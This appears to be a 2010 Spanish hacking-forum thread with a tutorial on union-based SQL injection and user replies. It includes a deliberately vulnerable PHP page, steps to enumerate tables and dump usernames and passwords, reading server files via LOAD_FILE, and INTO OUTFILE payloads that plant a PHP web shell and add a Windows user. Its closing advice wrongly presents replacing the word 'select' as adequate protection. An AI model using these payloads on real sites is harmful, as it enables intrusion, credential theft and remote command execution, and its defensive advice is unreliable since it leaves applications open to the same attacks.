Inyeccion Sql desde 0 by el Gran Guason

Iniciado por Fakedo0r, Febrero 27, 2010, 09:58:15 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 27, 2010, 09:58:15 AM Ultima modificación: Noviembre 23, 2014, 12:28:35 PM por Expermicid
Inyecciones SQL desde 0

Autor: El Gran Guasón

Indice:

0x01:Que es una inyección SQL
0x02:Como sacar el numero de columnas
0x03:Como sacar tablas y columnas en information schema
0x04:Como sacar tablas y columnas por fuerza bruta
0x05:Como sacar columnas de mysql.user
0x06:Como sacar usuarios y password
0x07:Sacar informacion de la base de datos
0x08:Como explotar LOAD_FILE
0x09:Como hacer vulnerable a RFI mediante una inyeccion SQL
0x10:Evitar estos ataques

0x01:Que es una inyeccion SQL

Una inyeccion SQL es tecnica para sacar informacion de una base de datos para poder
ver datos que no son publicos y modificar a nuestro antojo.
La mayoria de las personas que les gusta hackear siempre usan las inyecciones SQL ya
preparadas para sacar user y pass del admin sin siquiera conocer como funciona.Esto
es algo muy negativo ya que cualquier idiota sin experiencia puedo sacar user y pass con
un plis.
Para usar este manual necesitas tener instalado AppServer o Easy PHP

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Los archivos para la web deben ir en C:\Appserv\www

Entonces a programar se ha dicho.

Antes que tienes que crear la base de datos , primero van a

Inicio - Todos los programas - Appserv - MySQL Command Line Client

Ejecutamos el MySQL Command Line Client y escribimos la contraseña.

Ejecuta los siguientes comandos.

Código: php

Language: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_INCREMENT,
`name` varchar(25) NOT
NULL,
`password` varchar(50) NOT
NULL,
`country` varchar(20) NOT
NULL,
PRIMARY
KEY
(`id`)

INSERT
INTO
`users` VALUES
(1, 'Guason', '123', 'Argentina');
INSERT
INTO
`users` VALUES
(2, 'Pero', '11', 'Infierno');
INSERT
INTO
`users` VALUES
(3, 'Trinity', '12354', 'Via Lactea');
INSERT
INTO
`users` VALUES
(4, 'Galaxia', 'gaylord', 'Cabaret');


Aca les dejo para el index

Código: php

Language: PHP
<?php


/*


*/


// Datos para el login


$dbhost = 'localhost';
$dbuser = 'root';
$dbname = 'test';


// -------------------


$user = $_GET['id'];
if(empty($user)){


$user = 1;


}


$db = mysql_connect($host, $dbuser);
mysql_select_db($dbname,$db);


$sql = mysql_query("SELECT * FROM `users` WHERE id=".$user) or die (mysql_error());
$users = @mysql_fetch_row($sql);


echo "<h2><center><u>Laboratorio Guasonero<br>By Guasón</u><br><br>";
echo "<font color='#FF0000'>user_id: </font>".$users[0]."<br>";
echo "<font color='#FF0000'>username: </font>".$users[1]."<br>";
echo "<font color='#FF0000'>password: </font>".$users[3]."<br>";


mysql_close($db);


?>


¿Como se si es vulnerable?

Para saber si es vulnerable basta con hacer

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si no se muestra nada , la pagina no seria vulnerable.

0x02:Como sacar el numero de columnas

Para sacar el numero de columnas seria muy facil pues puede ser con dos tecnicas que son

**ORDER BY******

Para poder sacar el numero de columnas mediante Order By seria

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si se muesta todo correcto es que ese numero que esta al final de la url "1" no es numero de
columnas y tenemos que seguir subiendo

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (ERROR)

Pues si en el numero 5 nos dice error , esta queriendo decir que ya no hay mas columnas , pues
deduciendo tenemos que el sitio tiene 4 columnas

***Sumando con union select*******

Esta es la mejor y mas bien confiable tecnica para sacar el numero de columnas. Yo en esta
tecnica lo que hago es poner una palabra en hexadecimal y no numero. Ejemplo

0x677561736f6e = guason

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pues no nos dice nada interesante la inyeccion pero si seguimos poniendole mas.....

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ( NOS TIRA guason)

Pues si instalaste la base de datos como la mia. Veras que al intentar 4 veces mi nombre en
hexadecimal nos tira 3 veces guason. Pues es obvio que la base de datos tiene 4 columnas.
Esta tecnica es muy bueno para hacer tools un ejemplo es mi programa Hunter-MYSQL aunque
yo lo considero obsoleto.

0x03:Como sacar tablas y columnas con information schema

Hay dos formas de sacar tablas y columnas con information schema una es a lo boludo y otra a lo
vivo. Pero en realidad serian con sus verdaderos nombres LIMIT y group_concat
Para los dos casos necesitamos el numero de columnas antes

***Usando LIMIT*****

Para recorrer las tablas usare como ejemplo a bullcariez pues mi version de mysql no es la 5:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Con esta tecnica veran una tabla pero no todas por lo que tiene que seguir aumentando el numero
hasta que vean alguna interesante como user o pass.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Cuando lleguen al numero 17 veran la tabla amada llamada Users

Ahora hay que sacar las columnas con limit. Seria asi.

117,115,101,114,115 = Users en ascii

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como veran se muestra el nombre de una columna llamada Pass y si intentamos con 69 nos muestra la columna llamada nombre.Realmente una mierda esta tecnica pero bueno.

Aca les dejo una tool para convertir una palabra a ascii en este caso tablas
Código: php

Language: Perl
#Name program = Ascii-DE
#Version = beta
#Autor = El Gran Guasón

my $palabra = $ARGV[1];
my $opcion = $ARGV[2];

unless ($palabra || $opcion) {
print "\n\nModo de uso = $0 --ascii <palabra> <opcion>\n\n";
print "<palabra> = Texto normal o codificacion ascii\n";
print "<opcion> = encode , decode\n\n";
exit 1;
}

if ($opcion eq "encode") {
&ascii_encode($palabra);
&creditos;
}

if ($opcion eq "decode") {
&ascii_decode($palabra);
&creditos;
}

sub ascii_decode {

my $z = shift;

$z = join q[], map { chr } split q[,],$z;

print "\n\n[+] Texto codificado = $palabra\n";
print "[+] Texto normal = $z\n\n";

}

sub ascii_encode {

my $string = shift;

$re = join ',', unpack "U*", $string; # o A* para ASCII
print "\n\n[+] Texto normal = $palabra\n";
print "[+] Texto codificado = $re\n\n";

}

sub creditos  {
print "\n\n\n\n\t\t\t******************************************\t\t\t";
print "\t\t\tWritten By El Gran Guason || 2010\t\t\t";
print "\t\t******************************************\t\t\t\n\n";
exit 1;
}


******Usando group_concat******************

Ok , ahora viene la mejor y mas corta seguiremos usando lamentablemente bullcariez

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Con esta tecnica presenciaremos todas las tablas aunque no todas.Pero la que vale es users

Ahora cuando vean la tabla users lo sacan de esta manera no antes que de haber
convertido en ascii la tabla.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pues ahora veremos todas las columnas de esa tabla , pero las esenciales son nombre y Pass.

0x04:Como sacar tablas y columnas por fuerza bruta.

Pues esta tecnica es la peor y mas dura.Pues para eso hice a Hunter-MYSQL que intenta sacarlas
aunque a veces no hay remedio.

Ok , tomaremos como ejemplo a nuestro servidor web y no a la mierda de bullcariez.
Como siempre cabe aclarar que vamos a necesitar al numero de columnas. Ahora vamos
a los ejemplos.

Antes de probar esto hay que tener claro la segundo tecnica de sacar columnas del manual

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta A PROBAR

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pues el resultado de esta inyeccion es cualquier cosa pues si la tabla usuarios existiera nos mostraria guason en el resultado

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ok ,yes , nos ha mostrado 3 veces guason , pues eso solo nos esta diciendo que la tabla users EXISTE.

Ahora las columnas de la tabla users

Para sacar las columnas de la tabla users seria

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta A PROBAR),2,3,4+from+users--

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como veran intente con la columna sexualidad pero como esta no existe no se mostrara un carajo.

Ahora probare con name , password y country

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pues todas inyecciones nos tira guason
guason
guason

Pues esa son las columnas que tiene la tabla users.

0x05:Sacar columnas de mysql.user

Pues para comprobar si nuestro servidor web tiene mysql.user seria:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ok , a mi , me devuelve tres veces guason , no se a ustedes pero bueno.
Para sacar las columnas de mysql.user seria:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta A PROBAR),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pues no nos devuelve ese idiota de guason , entonces no tiene ninguna columna llamada tonton

Entonces para probar con name password nos tira

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Nos tira : guason
guason

Entonces las columnas son user y password.

0x06:Como sacar usuarios y password

Ok , si ya conseguiste la tabla de usuarios con las columas interesantes lo que debes hacer es

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Debes elegir algunos de los numeros que salen en la pantalla de resultado.Pues si al final de usar
algunos de los estos numeros y mas adelante no te salio nada , debes intentar con otro numero que
te da la inyeccion en el resultado.

Pues yo eligo el 1. Entonces la inyeccion seria con estos datos

tabla = users
columnas a sacar = name y password

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Uso a 0x3a para separar el resultado del name y del password
0x3a = :

La inyeccion nos tira

Guason:123

Ay no! alguien tien mi contraseña xD

Lo mismo seria para mysql.user

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y lo mismo para information_schema

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pero este ultimo no me anda porque mi mysql es viejo y no tiene information_schema pero la inyeccion nos da el mismo resultado ya que las tablas y columnas si existen

0x07:Sacar informacion de la base de datos

Ok , para sacar informacion de la base de datos seria:

Lo que podemos sacar es
Código: php

version() = Version de mysql
database() = Tipo base de datos
user()  = usuario
connection_id()  = Id de la conexion


Para tenemos que tenes el numero de columnas

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pues eligen cualquier numero que les tire el resultado de la inyeccion

En mi caso agarro uno

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pues nos tira:
Código: php

root@localhost:test:4.1.9-max3:


Todos los datos que pedimos primero el user , despues el nombre basedate , luego la version y despues el id de la conexion.

0x08:Como explotar LOAD_FILE

Con la funcion LOAD_FILE podemos leer los archivos que hay en el servidor Ejemplo por defecto
en mi base de datos voy a parar en mysql/data. Yo en este directorio yo tengo un archivo llamado boludo.txt.

Entonces teniendo a boludo.txt = 0x626f6c75646f2e747874
Podemos leer el archivo mediante el numero milagroso y la funcion load_file

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Entonces el resultado me daria " Hola enfermo! " porque en el archivo boludo.txt tengo solamente eso.

Y asi podran ir sacando cosas malevolas con esta tecnica.

0x09:Como hacer vulnerable a RFI mediante una inyeccion SQL

Pues ya teniendo el numero de columnas tambien podemos crear archivo mediante la funcion
into+outfile
Entonces como siempre agarramos el 1 xD.

Eh intentaremos crear un ejecutor de comandos con este codigo
Código: php

Language: PHP
<?php include($_GET[$cmd]); ?>


Cabe aclarar que el directorio que vamos a que guardar este ejecutor no debe ser restringido para
los visitantes.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta'<?php include($_GET[$cmd]); ?> ',2,3,4+into+outfile+'gilo.php'

Ok , si ven que el resultado es nulo y no sale ningun error es que se ah creado el archivo. Por
defecto a mi se me creo en mysql/data.
Solo es cuestion de ir cambiando de directorios hasta que alguno nos deje crear el archivo.

Pero por algo me hago llamar El Gran Guasón , porque no soy mas un newbie y no tengo nada
de noob.

Vamos a ejecutar de nuevo la sentencia pero ahora de esta forma.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"<?php $cmd = $_GET['agarrala']; system ($cmd);?>",2,3,4+into+outfile+'../../www/cmd.php'--

La explicacion seria simple como la estructura de Easy PHP hizo que el resultado del archivo
creado terminara en mysql/data lo que yo hice fue dar dos veces para atras e ir al directorio www de
Easy PHP terminando creando el archivo cmd.php

Ahora solo es cuestion de hacer esto

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y listo tenemos una cosa rara de shell que ejecuta comandos

Un ejemplo seria

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta user /add Jose 123

Este comando es porque mi SO es Windows ,la mayoria de los SO de las webs son linux y los directorios apache varian solo es cuestion de ir probando.

0x10:Evitar estos ataques

Ahora que ya eh explicado casi todo es hora de decir como defenderse de estos ataques
Hay varios formas pero solo nombrare algunas

Código: php

Language: PHP
$user =(int)$_GET['id'];


Con esto queremos decir que si se introduce algun dato o valor en la inyeccion no sera mostrada

Ahora hay que usar otra para evitar el "select"
Código: php

$user = $_GET['id'];
$user = str_replace("select","9999999999999",$user);


Ahora este codigo no esta diciendo que si se utiliza la palabra "select" esta sera reemplazada por
"9999999999999".

Con esto creo que bastaria ya que si no consigue el numero de columnas el atacante esta muerto pero si siempre hay cada caso xD.

Exelente Tutorial. Lo dejo fijo para que no se pierda en el tiempo.
Saludos!

Muy buen aporte, esta excelentemente explicado, tenia otro pero lo pillaba a medias, este esta genial!!

Excelente tutorial, muy util. Gracias por el aporte.

Ah, en el titulo dice Sql desde 0 by el Gran Gauson y es el Gran Guason. =)

Gracias camarada, voy a empezar a leerlo con calma, pero te pongo ya las gracias porque tiene muy buena pinta  ;)

hey q buen post felicitaciones XD y realmente esto sera de mucha ayuda XD
<h1>PerverthsO</h1>

Ejecuto el comando:

Código: php
Language: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_INCREMENT,
`name` varchar(25) NOT
NULL,
`password` varchar(50) NOT
NULL,
`country` varchar(20) NOT
NULL,
PRIMARY
KEY
(`id`)




INSERT
INTO
`users` VALUES
(1, 'Guason', '123', 'Argentina');
INSERT
INTO
`users` VALUES
(2, 'Pero', '11', 'Infierno');
INSERT
INTO
`users` VALUES
(3, 'Trinity', '12354', 'Via Lactea');
INSERT
INTO
`users` VALUES
(4, 'Galaxia', 'gaylord', 'Cabaret');


Y me aparece lo siguiente:
Código: php
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near 'Langu
age: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_IN' at line 1
mysql> INSERT
    -> INTO
    -> `users` VALUES
    -> (2, 'Pero', '11', 'Infierno');
ERROR 1046 (3D000): No database selected
mysql> INSERT
    -> INTO
    -> `users` VALUES
    -> (3, 'Trinity', '12354', 'Via Lactea');
ERROR 1046 (3D000): No database selected
mysql> INSERT
    -> INTO
    -> `users` VALUES
    -> (4, 'Galaxia', 'gaylord', 'Cabaret');
ERROR 1046 (3D000): No database selected


¿Alguna idea?  :(



No podria decirte porke te sale asi , pero es solo pake crees una pagina i lo practikes en tu pc , pero bueno si no te sale , aki te dejo una web , practica con las sentencias en ella:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta | borra el "65" i de ahi aplica las sentencias

Cualkier duda , avisame por pm !!!
Saludos  ;)

Abril 02, 2010, 10:37:38 AM #8 Ultima modificación: Abril 02, 2010, 11:11:01 AM por S[e]C
Es porque no estas usando ninguna base de datos, primero creas la base de datos:

Código: php
CREATE DATABASE prueba;


luego la seleccionas para usarla;

Código: php
USE prueba;


y luego ejecutas el comando ;) .

Usa la web oficial como referencia bro: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y lo mejor es que practiques un poco de SQL en localhost antes de lanzarte a las SQL injection .

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No podria decirte porke te sale asi , pero es solo pake crees una pagina i lo practikes en tu pc , pero bueno si no te sale , aki te dejo una web , practica con las sentencias en ella:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta | borra el "65" i de ahi aplica las sentencias

La idea es que sepa lo que esta haciendo no que siga paso a paso un tutorial y haga cosas sin tener idea como funciona el asunto.

Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Código: php
CREATE DATABASE prueba;


luego la seleccionas para usarla;

Código: php
USE prueba;


y luego ejecutas el comando ;) .
------------------------------------------

La idea es ke aprenda html  y php no ke pruebe sin saber lo ke sta aciendo  ;)

bueno creo q en un sql injeccion como dice el titulo la idea es q sepa manejar bien la sintaxis SQL antes q cualquier lenguaje web como php,asp,jsp teniendo claro las sentencias usadas en SQL podras injectar codigo para los diferentes motores de base de datos q usan esa sintaxis como
mssql,mysql,postgres,oracle etc

tonces yo les recomendaria para lo q quieren aprender y usar sql injeccion.
Aprendan SQL :)
<h1>PerverthsO</h1>

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Exelente Tutorial. Lo dejo fijo para que no se pierda en el tiempo.
Saludos!
Hola disculpa mi ignorancia pero creo q varios tenemos la duda de q significa "Id=-1 " en algunos casos no acepta los caracteres de /**/ ni -- para indicar q luego de éstos solo hay comentarios y donde podemos sacar palabras en hexadecimal para usarlas en la inyeccion?
gracias

Mayo 19, 2010, 01:29:34 PM #12 Ultima modificación: Mayo 19, 2010, 01:39:19 PM por $ad
Citar
Hola disculpa mi ignorancia pero creo q varios tenemos la duda de q significa "Id=-1 " en algunos casos no acepta los caracteres de /**/ ni -- para indicar q luego de éstos solo hay comentarios y donde podemos sacar palabras en hexadecimal para usarlas en la inyeccion?
gracias

1º No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

PD:

Debes sacar las tablas, la "palabra" que se pasa a ASCII (En algunos casos) es el nombre de la tabla "objetivo", para obtener de esta el numero de columnas, y posteriormente imprimir los datos.

Mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

contestando al pregunta ID=-1 significa que el paremtro q tomara el php para hacer la consulta sera -1 naa mas ahora con lo de los comentarios normalmente se usan /*,--.# si es q ninguno de esos te vale quiere decir q la consulta a la base de datos derrepente esta compuesta por varios select entonces no te deja comentarlos asi por asi noma bueno en general no te funciona porq al hacer un comentario en la consulta probocas un error en la consulta por ejemplo
select * from (id=1) ahora q pasa si tu comentas select * from (id=-1/*) te mandara un error porq estas haciendo al poner comentario que la consulta sea erronea y por ultimo puedes sacar las palabras en hex usando el mismo sql solo ejecutas en el phpmyadmin  o cualquier administrador de base de datos la siguiente consulta select hex('palabra') ahi te mandara las palabras en hex bueno espero te sirva saludos;)
<h1>PerverthsO</h1>

Impresionante post la verdad que no se mucho sobre la inyeccion Sql, asi que me viene al pelo.!


Saludos!

hola amigo, estoy aprendiendo sobre el hack y conosco las sentencias basicas de sql pero en la inyeccion me destantean algunos codigos, no se si me puedas explicar solo algunos detalles, por ejemplo de la sig.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"<?php $cmd = $_GET['agarrala']; system ($cmd);?>",2,3,4+into+outfile+'../../www/cmd.php'--
el ?id= se usará siempre o se cambia dependiendo del codigo fuente de la pagina; si ocupan <input type= text name="numcuenta" y <input type= password name="clave" inyecto como :
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta .............. ?
y ese "=-1 " el guion 1 significa comentario en campo 1 ?
te agradesco tu aporte

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
contestando al pregunta ID=-1 significa que el paremtro q tomara el php para hacer la consulta sera -1 naa mas ahora con lo de los comentarios normalmente se usan /*,--.# si es q ninguno de esos te vale quiere decir q la consulta a la base de datos derrepente esta compuesta por varios select entonces no te deja comentarlos asi por asi noma bueno en general no te funciona porq al hacer un comentario en la consulta probocas un error en la consulta por ejemplo
select * from (id=1) ahora q pasa si tu comentas select * from (id=-1/*) te mandara un error porq estas haciendo al poner comentario que la consulta sea erronea y por ultimo puedes sacar las palabras en hex usando el mismo sql solo ejecutas en el phpmyadmin  o cualquier administrador de base de datos la siguiente consulta select hex('palabra') ahi te mandara las palabras en hex bueno espero te sirva saludos;)
OK, gracias hermano, buena respuesta, no sabía lo del select hex('palabra') 8)